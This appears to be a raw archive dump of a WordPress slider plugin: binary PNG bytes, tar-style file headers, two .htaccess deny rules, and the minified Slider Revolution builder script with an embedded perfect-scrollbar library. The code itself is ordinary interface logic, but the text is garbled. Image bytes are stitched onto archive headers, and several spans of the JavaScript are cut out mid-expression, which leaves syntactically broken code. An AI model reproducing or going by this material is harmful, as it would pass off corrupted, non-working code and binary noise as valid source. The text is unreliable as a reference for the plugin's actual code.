‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT admin/assets/js/.htaccess000044400000000177151724235750011366 0ustar00 Order allow,deny Deny from all admin/assets/js/plugins/.htaccess000044400000000177151724235750013047 0ustar00 Order allow,deny Deny from all admin/assets/js/plugins/utils.min.js000060400001027723151724235750013536 0ustar00/*! * REVOLUTION 6.0.0 UTILS - BUILDER BASIC JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,RVS.F.closest=function(e,t){return e&&(t(e)?e:RVS.F.closest(e.parentNode,t))},RVS.F.closestNode=function(e,t){return RVS.F.closest(e,function(e){return e.nodeName===t})},RVS.F.closestClass=function(e,t){return RVS.F.closest(e,function(e){return(" "+e.className+" ").indexOf(" "+t+" ")>=0})},RVS.F.isNumeric=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},RVS.F.trim=function(e){return null!=e&&"string"==typeof e?e.trim():e},RVS.S.setShowHide=[],RVS.S.setUnsetClasses={},RVS.S.initOnOffList={},jQuery.fn.RSScroll||(jQuery.fn.RSScroll=function(e,t){if(!e||"string"!=typeof e)return this.each(function(t){var i=jQuery(this);i.data("revsliderps")||i.data("revsliderps",new RSPerfectScrollbar(this,e||{}))});switch(e){case"update":return this.each(function(){var e=jQuery(this).data("revsliderps");e&&e.update()});case"scrollTop":return this.each(function(){this.scrollTop=t});case"destroy":return this.each(function(){var e=jQuery(this),t=e.data("revsliderps");t&&(t.destroy(),e.removeData("revsliderps"))})}}),RVS.F.cF=function(){return document.createDocumentFragment()},RVS.F.cI=function(e){let t=document.createElement("i");if(t.className="material-icons"+(void 0!==e.cN?" "+e.cN:""),t.textContent=e.c,e.id&&(t.id=e.id),e.ds)for(let i in e.ds)e.ds.hasOwnProperty(i)&&(t.dataset[i]=e.ds[i]);return t},RVS.F.cE=function(e){let t=document.createElement(e.t||"div");if(void 0!==e.con&&(t.textContent=e.con),void 0!==e.txt&&(t.innerHTML=e.txt),e.id&&(t.id=e.id),e.cN&&(t.className=e.cN),e.ds)for(let i in e.ds)e.ds.hasOwnProperty(i)&&(t.dataset[i]=e.ds[i]);return e.icon&&(void 0!==e.con?t.insertBefore(RVS.F.cI(e.icon),t.firstChild):t.appendChild(RVS.F.cI(e.icon))),e.type&&(t.type=e.type),t} /*! * perfect-scrollbar v1.4.0 * (c) 2018 Hyunje Jun * @license MIT * */,function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.RSPerfectScrollbar=t()}(this,function(){"use strict";function e(e){return getComputedStyle(e)}function t(e,t){for(var i in t){var a=t[i];"number"==typeof a&&(a+="px"),e.style[i]=a}return e}function i(e){var t=document.createElement("div");return t.className=e,t}function a(e,t){if(!m)throw new Error("No element matching method supported");return m.call(e,t)}function r(e){e.remove?e.remove():e.parentNode&&e.parentNode.removeChild(e)}function o(e,t){return Array.prototype.filter.call(e.children,function(e){return a(e,t)})}function s(e,t){var i=e.element.classList,a=h.state.scrolling(t);i.contains(a)?clearTimeout(f[t]):i.add(a)}function l(e,t){f[t]=setTimeout(function(){return e.isAlive&&e.element.classList.remove(h.state.scrolling(t))},e.settings.scrollingThreshold)}function n(e,t){s(e,t),l(e,t)}function d(e){if("function"==typeof window.CustomEvent)return new CustomEvent(e);var t=document.createEvent("CustomEvent");return t.initCustomEvent(e,!1,!1,void 0),t}function c(e){return parseInt(e,10)||0}function p(e){return a(e,"input,[contenteditable]")||a(e,"select,[contenteditable]")||a(e,"textarea,[contenteditable]")||a(e,"button,[contenteditable]")}function u(e,t){return e.settings.minScrollbarLength&&(t=Math.max(t,e.settings.minScrollbarLength)),e.settings.maxScrollbarLength&&(t=Math.min(t,e.settings.maxScrollbarLength)),t}function v(e,i){var a={width:i.railXWidth},r=Math.floor(e.scrollTop);i.isRtl?a.left=i.negativeScrollAdjustment+e.scrollLeft+i.containerWidth-i.contentWidth:a.left=e.scrollLeft,i.isScrollbarXUsingBottom?a.bottom=i.scrollbarXBottom-r:a.top=i.scrollbarXTop+r,t(i.scrollbarXRail,a);var o={top:r,height:i.railYHeight};i.isScrollbarYUsingRight?i.isRtl?o.right=i.contentWidth-(i.negativeScrollAdjustment+e.scrollLeft)-i.scrollbarYRight-i.scrollbarYOuterWidth:o.right=i.scrollbarYRight-e.scrollLeft:i.isRtl?o.left=i.negativeScrollAdjustment+e.scrollLeft+2*i.containerWidth-i.contentWidth-i.scrollbarYLeft-i.scrollbarYOuterWidth:o.left=i.scrollbarYLeft+e.scrollLeft,t(i.scrollbarYRail,o),t(i.scrollbarX,{left:i.scrollbarXLeft,width:i.scrollbarXWidth-i.railBorderXWidth}),t(i.scrollbarY,{top:i.scrollbarYTop,height:i.scrollbarYHeight-i.railBorderYWidth})}function g(e,t){function i(t){m[u]=f+b*(t[n]-S),s(e,v),V(e),t.stopPropagation(),t.preventDefault()}function a(){l(e,v),e[g].classList.remove(h.state.clicking),e.event.unbind(e.ownerDocument,"mousemove",i)}var r=t[0],o=t[1],n=t[2],d=t[3],c=t[4],p=t[5],u=t[6],v=t[7],g=t[8],m=e.element,f=null,S=null,b=null;e.event.bind(e[c],"mousedown",function(t){f=m[u],S=t[n],b=(e[o]-e[r])/(e[d]-e[p]),e.event.bind(e.ownerDocument,"mousemove",i),e.event.once(e.ownerDocument,"mouseup",a),e[g].classList.add(h.state.clicking),t.stopPropagation(),t.preventDefault()})}var m="undefined"!=typeof Element&&(Element.prototype.matches||Element.prototype.webkitMatchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector),h={main:"ps",element:{thumb:function(e){return"rs__scrollbar-"+e},rail:function(e){return"rs__scrollbar-"+e+"-rail"},consuming:"ps__child--consume"},state:{focus:"ps--focus",clicking:"ps--clicking",active:function(e){return"ps--active-"+e},scrolling:function(e){return"ps--scrolling-"+e}}},f={x:null,y:null},S=function(e){this.element=e,this.handlers={}},b={isEmpty:{configurable:!0}};S.prototype.bind=function(e,t){void 0===this.handlers[e]&&(this.handlers[e]=[]),this.handlers[e].push(t),this.element.addEventListener(e,t,!1)},S.prototype.unbind=function(e,t){var i=this;this.handlers[e]=this.handlers[e].filter(function(a){return!(!t||a===t)||(i.element.removeEventListener(e,a,!1),!1)})},S.prototype.unbindAll=function(){for(var e in this.handlers)this.unbind(e)},b.isEmpty.get=function(){var e=this;return Object.keys(this.handlers).every(function(t){return 0===e.handlers[t].length})},Object.defineProperties(S.prototype,b);var y=function(){this.eventElements=[]};y.prototype.eventElement=function(e){var t=this.eventElements.filter(function(t){return t.element===e})[0];return t||(t=new S(e),this.eventElements.push(t)),t},y.prototype.bind=function(e,t,i){this.eventElement(e).bind(t,i)},y.prototype.unbind=function(e,t,i){var a=this.eventElement(e);a.unbind(t,i),a.isEmpty&&this.eventElements.splice(this.eventElements.indexOf(a),1)},y.prototype.unbindAll=function(){this.eventElements.forEach(function(e){return e.unbindAll()}),this.eventElements=[]},y.prototype.once=function(e,t,i){var a=this.eventElement(e),r=function(e){a.unbind(t,r),i(e)};a.bind(t,r)};var R=function(e,t,i,a,r){var o;if(void 0===a&&(a=!0),void 0===r&&(r=!1),"top"===t)o=["contentHeight","containerHeight","scrollTop","y","up","down"];else{if("left"!==t)throw new Error("A proper axis should be provided");o=["contentWidth","containerWidth","scrollLeft","x","left","right"]}!function(e,t,i,a,r){var o=i[0],s=i[1],l=i[2],c=i[3],p=i[4],u=i[5];void 0===a&&(a=!0),void 0===r&&(r=!1);var v=e.element;e.reach[c]=null,v[l]<1&&(e.reach[c]="start"),v[l]>e[o]-e[s]-1&&(e.reach[c]="end"),t&&(v.dispatchEvent(d("ps-scroll-"+c)),t<0?v.dispatchEvent(d("ps-scroll-"+p)):t>0&&v.dispatchEvent(d("ps-scroll-"+u)),a&&n(e,c)),e.reach[c]&&(t||r)&&v.dispatchEvent(d("ps-"+c+"-reach-"+e.reach[c]))}(e,i,o,a,r)},_={isWebKit:"undefined"!=typeof document&&"WebkitAppearance"in document.documentElement.style,supportsTouch:"undefined"!=typeof window&&("ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch),supportsIePointer:"undefined"!=typeof navigator&&navigator.msMaxTouchPoints,isChrome:"undefined"!=typeof navigator&&/Chrome/i.test(navigator&&navigator.userAgent)},V=function(e){var t=e.element,i=Math.floor(t.scrollTop);e.containerWidth=t.clientWidth,e.containerHeight=t.clientHeight,e.contentWidth=t.scrollWidth,e.contentHeight=t.scrollHeight,t.contains(e.scrollbarXRail)||(o(t,h.element.rail("x")).forEach(function(e){return r(e)}),t.appendChild(e.scrollbarXRail)),t.contains(e.scrollbarYRail)||(o(t,h.element.rail("y")).forEach(function(e){return r(e)}),t.appendChild(e.scrollbarYRail)),!e.settings.suppressScrollX&&e.containerWidth+e.settings.scrollXMarginOffset=e.railXWidth-e.scrollbarXWidth&&(e.scrollbarXLeft=e.railXWidth-e.scrollbarXWidth),e.scrollbarYTop>=e.railYHeight-e.scrollbarYHeight&&(e.scrollbarYTop=e.railYHeight-e.scrollbarYHeight),v(t,e),e.scrollbarXActive?t.classList.add(h.state.active("x")):(t.classList.remove(h.state.active("x")),e.scrollbarXWidth=0,e.scrollbarXLeft=0,t.scrollLeft=0),e.scrollbarYActive?t.classList.add(h.state.active("y")):(t.classList.remove(h.state.active("y")),e.scrollbarYHeight=0,e.scrollbarYTop=0,t.scrollTop=0)},O={"click-rail":function(e){e.event.bind(e.scrollbarY,"mousedown",function(e){return e.stopPropagation()}),e.event.bind(e.scrollbarYRail,"mousedown",function(t){var i=t.pageY-window.pageYOffset-e.scrollbarYRail.getBoundingClientRect().top>e.scrollbarYTop?1:-1;e.element.scrollTop+=i*e.containerHeight,V(e),t.stopPropagation()}),e.event.bind(e.scrollbarX,"mousedown",function(e){return e.stopPropagation()}),e.event.bind(e.scrollbarXRail,"mousedown",function(t){var i=t.pageX-window.pageXOffset-e.scrollbarXRail.getBoundingClientRect().left>e.scrollbarXLeft?1:-1;e.element.scrollLeft+=i*e.containerWidth,V(e),t.stopPropagation()})},"drag-thumb":function(e){g(e,["containerWidth","contentWidth","pageX","railXWidth","scrollbarX","scrollbarXWidth","scrollLeft","x","scrollbarXRail"]),g(e,["containerHeight","contentHeight","pageY","railYHeight","scrollbarY","scrollbarYHeight","scrollTop","y","scrollbarYRail"])},keyboard:function(e){var t=e.element,i=function(){return a(t,":hover")},r=function(){return a(e.scrollbarX,":focus")||a(e.scrollbarY,":focus")};e.event.bind(e.ownerDocument,"keydown",function(a){if(!(a.isDefaultPrevented&&a.isDefaultPrevented()||a.defaultPrevented)&&(i()||r())){var o=document.activeElement?document.activeElement:e.ownerDocument.activeElement;if(o){if("IFRAME"===o.tagName)o=o.contentDocument.activeElement;else for(;o.shadowRoot;)o=o.shadowRoot.activeElement;if(p(o))return}var s=0,l=0;switch(a.which){case 37:s=a.metaKey?-e.contentWidth:a.altKey?-e.containerWidth:-30;break;case 38:l=a.metaKey?e.contentHeight:a.altKey?e.containerHeight:30;break;case 39:s=a.metaKey?e.contentWidth:a.altKey?e.containerWidth:30;break;case 40:l=a.metaKey?-e.contentHeight:a.altKey?-e.containerHeight:-30;break;case 32:l=a.shiftKey?e.containerHeight:-e.containerHeight;break;case 33:l=e.containerHeight;break;case 34:l=-e.containerHeight;break;case 36:l=e.contentHeight;break;case 35:l=-e.contentHeight;break;default:return}e.settings.suppressScrollX&&0!==s||e.settings.suppressScrollY&&0!==l||(t.scrollTop-=l,t.scrollLeft+=s,V(e),function(i,a){var r=Math.floor(t.scrollTop);if(0===i){if(!e.scrollbarYActive)return!1;if(0===r&&a>0||r>=e.contentHeight-e.containerHeight&&a<0)return!e.settings.wheelPropagation}var o=t.scrollLeft;if(0===a){if(!e.scrollbarXActive)return!1;if(0===o&&i<0||o>=e.contentWidth-e.containerWidth&&i>0)return!e.settings.wheelPropagation}return!0}(s,l)&&a.preventDefault())}})},wheel:function(t){function i(t,i,a){if(!_.isWebKit&&r.querySelector("select:focus"))return!0;if(!r.contains(t))return!1;for(var o=t;o&&o!==r;){if(o.classList.contains(h.element.consuming))return!0;var s=e(o);if([s.overflow,s.overflowX,s.overflowY].join("").match(/(scroll|auto)/)){var l=o.scrollHeight-o.clientHeight;if(l>0&&!(0===o.scrollTop&&a>0||o.scrollTop===l&&a<0))return!0;var n=o.scrollWidth-o.clientWidth;if(n>0&&!(0===o.scrollLeft&&i<0||o.scrollLeft===n&&i>0))return!0}o=o.parentNode}return!1}function a(e){var a=function(e){var t=e.deltaX,i=-1*e.deltaY;return void 0!==t&&void 0!==i||(t=-1*e.wheelDeltaX/6,i=e.wheelDeltaY/6),e.deltaMode&&1===e.deltaMode&&(t*=10,i*=10),t!=t&&i!=i&&(t=0,i=e.wheelDelta),e.shiftKey?[-i,-t]:[t,i]}(e),o=a[0],s=a[1];if(!i(e.target,o,s)){var l=!1;t.settings.useBothWheelAxes?t.scrollbarYActive&&!t.scrollbarXActive?(s?r.scrollTop-=s*t.settings.wheelSpeed:r.scrollTop+=o*t.settings.wheelSpeed,l=!0):t.scrollbarXActive&&!t.scrollbarYActive&&(o?r.scrollLeft+=o*t.settings.wheelSpeed:r.scrollLeft-=s*t.settings.wheelSpeed,l=!0):(r.scrollTop-=s*t.settings.wheelSpeed,r.scrollLeft+=o*t.settings.wheelSpeed),V(t),(l=l||function(e,i){var a=Math.floor(r.scrollTop),o=0===r.scrollTop,s=a+r.offsetHeight===r.scrollHeight,l=0===r.scrollLeft,n=r.scrollLeft+r.offsetWidth===r.scrollWidth;return!(Math.abs(i)>Math.abs(e)?o||s:l||n)||!t.settings.wheelPropagation}(o,s))&&!e.ctrlKey&&(e.stopPropagation(),e.preventDefault())}}var r=t.element;void 0!==window.onwheel?t.event.bind(r,"wheel",a):void 0!==window.onmousewheel&&t.event.bind(r,"mousewheel",a)},touch:function(t){function i(e,i){var a=Math.floor(c.scrollTop),r=c.scrollLeft,o=Math.abs(e),s=Math.abs(i);if(s>o){if(i<0&&a===t.contentHeight-t.containerHeight||i>0&&0===a)return 0===window.scrollY&&i>0&&_.isChrome}else if(o>s&&(e<0&&r===t.contentWidth-t.containerWidth||e>0&&0===r))return!0;return!0}function a(e,i){c.scrollTop-=i,c.scrollLeft-=e,V(t)}function r(e){return e.targetTouches?e.targetTouches[0]:e}function o(e){return!(e.pointerType&&"pen"===e.pointerType&&0===e.buttons||(!e.targetTouches||1!==e.targetTouches.length)&&(!e.pointerType||"mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))}function s(e){if(o(e)){var t=r(e);p.pageX=t.pageX,p.pageY=t.pageY,u=(new Date).getTime(),null!==g&&clearInterval(g)}}function l(t,i,a){if(!c.contains(t))return!1;for(var r=t;r&&r!==c;){if(r.classList.contains(h.element.consuming))return!0;var o=e(r);if([o.overflow,o.overflowX,o.overflowY].join("").match(/(scroll|auto)/)){var s=r.scrollHeight-r.clientHeight;if(s>0&&!(0===r.scrollTop&&a>0||r.scrollTop===s&&a<0))return!0;var l=r.scrollLeft-r.clientWidth;if(l>0&&!(0===r.scrollLeft&&i<0||r.scrollLeft===l&&i>0))return!0}r=r.parentNode}return!1}function n(e){if(o(e)){var t=r(e),s={pageX:t.pageX,pageY:t.pageY},n=s.pageX-p.pageX,d=s.pageY-p.pageY;if(l(e.target,n,d))return;a(n,d),p=s;var c=(new Date).getTime(),g=c-u;g>0&&(v.x=n/g,v.y=d/g,u=c),i(n,d)&&e.preventDefault()}}function d(){t.settings.swipeEasing&&(clearInterval(g),g=setInterval(function(){t.isInitialized?clearInterval(g):v.x||v.y?Math.abs(v.x)<.01&&Math.abs(v.y)<.01?clearInterval(g):(a(30*v.x,30*v.y),v.x*=.8,v.y*=.8):clearInterval(g)},10))}if(_.supportsTouch||_.supportsIePointer){var c=t.element,p={},u=0,v={},g=null;_.supportsTouch?(t.event.bind(c,"touchstart",s),t.event.bind(c,"touchmove",n),t.event.bind(c,"touchend",d)):_.supportsIePointer&&(window.PointerEvent?(t.event.bind(c,"pointerdown",s),t.event.bind(c,"pointermove",n),t.event.bind(c,"pointerup",d)):window.MSPointerEvent&&(t.event.bind(c,"MSPointerDown",s),t.event.bind(c,"MSPointerMove",n),t.event.bind(c,"MSPointerUp",d)))}}},B=function(a,r){var o=this;if(void 0===r&&(r={}),"string"==typeof a&&(a=document.querySelector(a)),!a||!a.nodeName)throw new Error("no element is specified to initialize RSPerfectScrollbar");for(var s in this.element=a,a.classList.add(h.main),this.settings={handlers:["click-rail","drag-thumb","keyboard","wheel","touch"],maxScrollbarLength:null,minScrollbarLength:null,scrollingThreshold:1e3,scrollXMarginOffset:0,scrollYMarginOffset:0,suppressScrollX:!1,suppressScrollY:!1,swipeEasing:!0,useBothWheelAxes:!1,wheelPropagation:!0,wheelSpeed:1},r)o.settings[s]=r[s];this.containerWidth=null,this.containerHeight=null,this.contentWidth=null,this.contentHeight=null;var l=function(){return a.classList.add(h.state.focus)},n=function(){return a.classList.remove(h.state.focus)};this.isRtl="rtl"===e(a).direction,this.isNegativeScroll=function(){var e,t=a.scrollLeft;return a.scrollLeft=-1,e=a.scrollLeft<0,a.scrollLeft=t,e}(),this.negativeScrollAdjustment=this.isNegativeScroll?a.scrollWidth-a.clientWidth:0,this.event=new y,this.ownerDocument=a.ownerDocument||document,this.scrollbarXRail=i(h.element.rail("x")),a.appendChild(this.scrollbarXRail),this.scrollbarX=i(h.element.thumb("x")),this.scrollbarXRail.appendChild(this.scrollbarX),this.scrollbarX.setAttribute("tabindex",0),this.event.bind(this.scrollbarX,"focus",l),this.event.bind(this.scrollbarX,"blur",n),this.scrollbarXActive=null,this.scrollbarXWidth=null,this.scrollbarXLeft=null;var d=e(this.scrollbarXRail);this.scrollbarXBottom=parseInt(d.bottom,10),isNaN(this.scrollbarXBottom)?(this.isScrollbarXUsingBottom=!1,this.scrollbarXTop=c(d.top)):this.isScrollbarXUsingBottom=!0,this.railBorderXWidth=c(d.borderLeftWidth)+c(d.borderRightWidth),t(this.scrollbarXRail,{display:"block"}),this.railXMarginWidth=c(d.marginLeft)+c(d.marginRight),t(this.scrollbarXRail,{display:""}),this.railXWidth=null,this.railXRatio=null,this.scrollbarYRail=i(h.element.rail("y")),a.appendChild(this.scrollbarYRail),this.scrollbarY=i(h.element.thumb("y")),this.scrollbarYRail.appendChild(this.scrollbarY),this.scrollbarY.setAttribute("tabindex",0),this.event.bind(this.scrollbarY,"focus",l),this.event.bind(this.scrollbarY,"blur",n),this.scrollbarYActive=null,this.scrollbarYHeight=null,this.scrollbarYTop=null;var p=e(this.scrollbarYRail);this.scrollbarYRight=parseInt(p.right,10),isNaN(this.scrollbarYRight)?(this.isScrollbarYUsingRight=!1,this.scrollbarYLeft=c(p.left)):this.isScrollbarYUsingRight=!0,this.scrollbarYOuterWidth=this.isRtl?function(t){var i=e(t);return c(i.width)+c(i.paddingLeft)+c(i.paddingRight)+c(i.borderLeftWidth)+c(i.borderRightWidth)}(this.scrollbarY):null,this.railBorderYWidth=c(p.borderTopWidth)+c(p.borderBottomWidth),t(this.scrollbarYRail,{display:"block"}),this.railYMarginHeight=c(p.marginTop)+c(p.marginBottom),t(this.scrollbarYRail,{display:""}),this.railYHeight=null,this.railYRatio=null,this.reach={x:a.scrollLeft<=0?"start":a.scrollLeft>=this.contentWidth-this.containerWidth?"end":null,y:a.scrollTop<=0?"start":a.scrollTop>=this.contentHeight-this.containerHeight?"end":null},this.isAlive=!0,this.settings.handlers.forEach(function(e){return O[e](o)}),this.lastScrollTop=Math.floor(a.scrollTop),this.lastScrollLeft=a.scrollLeft,this.event.bind(this.element,"scroll",function(e){return o.onScroll(e)}),V(this)};return B.prototype.update=function(){this.isAlive&&(this.negativeScrollAdjustment=this.isNegativeScroll?this.element.scrollWidth-this.element.clientWidth:0,t(this.scrollbarXRail,{display:"block"}),t(this.scrollbarYRail,{display:"block"}),this.railXMarginWidth=c(e(this.scrollbarXRail).marginLeft)+c(e(this.scrollbarXRail).marginRight),this.railYMarginHeight=c(e(this.scrollbarYRail).marginTop)+c(e(this.scrollbarYRail).marginBottom),t(this.scrollbarXRail,{display:"none"}),t(this.scrollbarYRail,{display:"none"}),V(this),R(this,"top",0,!1,!0),R(this,"left",0,!1,!0),t(this.scrollbarXRail,{display:""}),t(this.scrollbarYRail,{display:""}))},B.prototype.onScroll=function(e){this.isAlive&&(V(this),R(this,"top",this.element.scrollTop-this.lastScrollTop),R(this,"left",this.element.scrollLeft-this.lastScrollLeft),this.lastScrollTop=Math.floor(this.element.scrollTop),this.lastScrollLeft=this.element.scrollLeft)},B.prototype.destroy=function(){this.isAlive&&(this.event.unbindAll(),r(this.scrollbarX),r(this.scrollbarY),r(this.scrollbarXRail),r(this.scrollbarYRail),this.removePsClasses(),this.element=null,this.scrollbarX=null,this.scrollbarY=null,this.scrollbarXRail=null,this.scrollbarYRail=null,this.isAlive=!1)},B.prototype.removePsClasses=function(){this.element.className=this.element.className.split(" ").filter(function(e){return!e.match(/^ps([-_].+|)$/)}).join(" ")},B}),function(){var e,t=null,i=null,a=null,r=null;function o(e,t=new Date){return t.setDate(t.getDate()+7*e),t}RVS.DOC.on("click","#rs_copyright",function(){RVS.F.RSDialog.create({modalid:"#rbm_copyright",bgopacity:.25})}),RVS.DOC.on("click","#rbm_copyright .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".copyright_sel",function(){jQuery(".copyright_sel").removeClass("selected"),jQuery(".crm_content_wrap").removeClass("selected"),this.className+=" selected",document.getElementById("crm_"+this.dataset.crm).className+=" selected"}),RVS.F.CO=function(e,t){var i=document.createElement("option");return i.value=e,i.innerText=t,i},RVS.F.capitalise=function(e){return e.substr(0,1).toUpperCase()+e.substr(1)},RVS.F.capitaliseAll=function(e){var t=e.split(" ");for(var i in t)t[i]=t[i].substr(0,1).toUpperCase()+t[i].substr(1);return t.join(" ")},RVS.F.debug=function(e){console.log(e)},RVS.F.compareVersion=function(e,t){if("string"!=typeof e)return!1;if("string"!=typeof t)return!1;e=e.split("."),t=t.split(".");const i=Math.min(e.length,t.length);for(let a=0;at[a])return 1;if(e[a]=e&&"disabled"!==RVS.ENV.tracking||RVS.F.showTrackingFirstgo&&RVS.F.showTrackingFirstgo()},RVS.F.showTrackingFirstgo=function(){RVS.F.dontShowTracking||(RVS.F.RSDialog.create({modalid:"#rbm_tracking_firstgo",bgopacity:.8}),tpGS.gsap.from("#rbm_des_rocket",.5,{scale:.3,opacity:0,y:25,x:-25,delay:.5}),tpGS.gsap.from("#rbm_des_charts",.7,{scale:.3,rotation:70,opacity:0,delay:.3}),tpGS.gsap.from("#rbm_des_rsicon",1,{scale:0,rotation:-270,opacity:0,delay:.1}),null==RVS.S.shTFreg&&(RVS.DOC.on("click","#rbm_track_enable",function(){RVS.ENV.tracking="enabled",RVS.ENV.trackingOnOff=!0,RVS.F.updateTrackingInfo()}),RVS.DOC.on("click","#rbm_track_disable",function(){RVS.ENV.tracking=o(5).toISOString().split("T")[0],RVS.ENV.trackingOnOff=!1,RVS.F.updateTrackingInfo()}),RVS.DOC.on("click","#rbm_tracking_firstgo .rbm_close",function(){RVS.ENV.tracking=o(.3).toISOString().split("T")[0],RVS.ENV.trackingOnOff=!1,RVS.F.updateTrackingInfo()}),RVS.S.shTFreg=!0))},setTimeout(function(){RVS.F.reqTracking()},1500),RVS.F.openAddImageDialog=function(e,t,i){e||(e=RVS_LANG.select_image),"undefined"!=typeof wp&&void 0!==wp.media?u(e,t,i):v(e,t)},RVS.F.openAddVideoDialog=function(e,t,i){e||(e=RVS_LANG.select_image),"undefined"!=typeof wp&&void 0!==wp.media&&p(e,t,i)},RVS.S.layerIcons=jQuery.extend(!0,RVS.S.layerIcons,{zone:"storage",shape:"crop_landscape",image:"filter_hdr",audio:"audiotrack",button:"radio_button_checked",column:"view_column",group:"format_shapes",row:"reorder",object:"filter_drama",svg:"filter_drama",video:"live_tv",linebreak:"keyboard_return"}),RVS.F.getLayerIcon=function(e,t){return void 0!==t&&void 0!==RVS.S.layerIcons[t]?RVS.S.layerIcons[t]:void 0!==e&&void 0!==RVS.S.layerIcons[e]?RVS.S.layerIcons[e]:"title"};var s,l,n,d,c,p=function(e,t,i){null==i&&(i=!1);var a=wp.media({title:e,multiple:i,library:{},button:{text:"Insert"}});a.on("select",function(){var e=a.state().get("selection").first().toJSON(),r=a.state().get("selection"),o=[];1==i?(r.map(function(e){var t=e.toJSON(),i={};i.url=t.url,i.id=t.id,i.width=t.width,i.height=t.height,o.push(i)}),t(o)):t(e.url,e.id,e.width,e.height)}),a.open()},u=function(e,t,i){null==i&&(i=!1);var a=wp.media({title:e,multiple:i,library:{type:"image"},button:{text:"Insert"}});a.on("select",function(){var e=a.state().get("selection").first().toJSON(),r=a.state().get("selection"),o=[];1==i?(r.map(function(e){var t=e.toJSON(),i={url:t.url,id:t.id,width:t.width,height:t.height};o.push(i)}),t(o)):t(e.url,e.id,e.width,e.height)}),a.open()},v=function(e,t){var i="type=image&post_id=0&TB_iframe=true";i=encodeURI(i),tb_show(e,"media-upload.php?"+i),window.send_to_editor=function(e){tb_remove();var i=jQuery(e).attr("src");i&&null!=i&&""!=i||(i=jQuery("img",e).attr("src")),t(i,"")}};function g(e,t){return null==e?t:e}function m(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}RVS.F.setCookie=function(e,t,i){var a=new Date;a.setTime(a.getTime()+24*i*60*60*1e3);var r="expires="+a.toUTCString();document.cookie=e+"="+t+";"+r+";path=/"},RVS.F.getCookie=function(e){for(var t=e+"=",i=document.cookie.split(";"),a=0;a0?(d.draggable({handle:".rbm_header",axis:!1,cancel:".rbm_close"}),n.RSScroll("destroy")):(d.draggable({handle:".rbm_header",axis:"x",cancel:".rbm_close"}),n.RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}))},center:function(){if(l){var e=Math.max(.5*window.innerHeight-.5*d.height(),0),t="auto";l[0].dataset.centerineditor&&(t=Math.round(.5*RVS.C.rb.width()-.5*d.width())),RVS.F.RSDialog.setDragScroll(e),d.css({marginTop:Math.ceil(e),marginLeft:t,left:0,top:0}),n.RSScroll("update")}},close:function(e){l&&(tpGS.gsap.killTweensOf(l),l.hide().css("opacity",0)),!s&&c&&(tpGS.gsap.killTweensOf(c),c.hide().css("opacity",0)),c.css("z-index",999995),l=s,s=void 0},doCancelModal:function(e){var t,i;document.getElementById("decmod_icon").innerHTML=e.icon,document.getElementById("decmod_title").innerHTML=e.title,document.getElementById("decmod_maintxt").innerHTML=e.maintext,document.getElementById("decmod_subtxt").innerHTML=e.subtext,void 0!==e.do?(t=document.getElementById("decmod_do_icon"),i=document.getElementById("decmod_do_txt"),void 0!==t&&(t.innerHTML=e.do.icon),void 0!==i&&(i.innerHTML=e.do.text),jQuery("#decmod_do_btn").show().off("click").on("click",function(){void 0!==e.do.event&&RVS.DOC.trigger(e.do.event,e.do.eventparam),void 0!==e.do.callback&&e.do.callback(),!0!==e.do.keepDialog&&(RVS.F.RSDialog.close(),!0!==e.do.closeOnlyOnce&&RVS.F.RSDialog.close())})):jQuery("#decmod_do_btn").hide(),void 0!==e.cancel?(t=document.getElementById("decmod_dont_icon"),i=document.getElementById("decmod_dont_txt"),void 0!==t&&(t.innerHTML=e.cancel.icon),void 0!==i&&(i.innerHTML=e.cancel.text),jQuery("#decmod_dont_btn").show().off("click").on("click",function(){void 0!==e.cancel.callback&&e.cancel.callback(),RVS.F.RSDialog.close()})):jQuery("#decmod_dont_btn").hide(),e.swapbuttons?jQuery("#decmod_do_btn").css({float:"right",marginLeft:"10px",marginRight:"0px"}):jQuery("#decmod_do_btn").css({float:"none",marginLeft:"0px",marginRight:"10px"})}},RVS.DOC.on("mousedown",".rb_modal",function(){RVS.S.clickStartOnModal=!0}).on("mouseup",".rb_modal",function(){setTimeout(function(){RVS.S.clickStartOnModal=!1},50)}),RVS.DOC.on("click",".rb-modal-content",function(){l&&!0!==RVS.S.clickStartOnModal&&l.find(".rbm_close").trigger("click"),RVS.S.clickStartOnModal=!1}).on("click",".rb_modal",function(e){e.stopPropagation()}).on("keydown",function(e,t){"27"==e.keyCode&&l&&l.find(".rbm_close").trigger("click")}),jQuery(window).on("resize",RVS.F.RSDialog.center),RVS.F.triggerShowHideDep=function(e,t){void 0===e.dataset.show||void 0===e.dataset.hide||"radio"===e.type&&!e.checked?RVS.F.showHideDep({target:e.dataset.showhide,nortarget:e.dataset.hideshow,value:void 0===t?e.value:t,depend:e.dataset.showhidedep}):RVS.F.showHideGroups({hide:e.dataset.hide,show:e.dataset.show,val:t,showprio:e.dataset.showprio})},RVS.F.triggerInput=function(e){if(void 0!==e.inp){var t=e.inp.split(",");for(var i in e.when="true"===e.when||"false"!==e.when&&e.when,e.whennot="true"===e.whennot||"false"!==e.whennot&&e.whennot,t)if(t.hasOwnProperty(i)){var a=jQuery(t[i].replace("*val*",e.dep));void 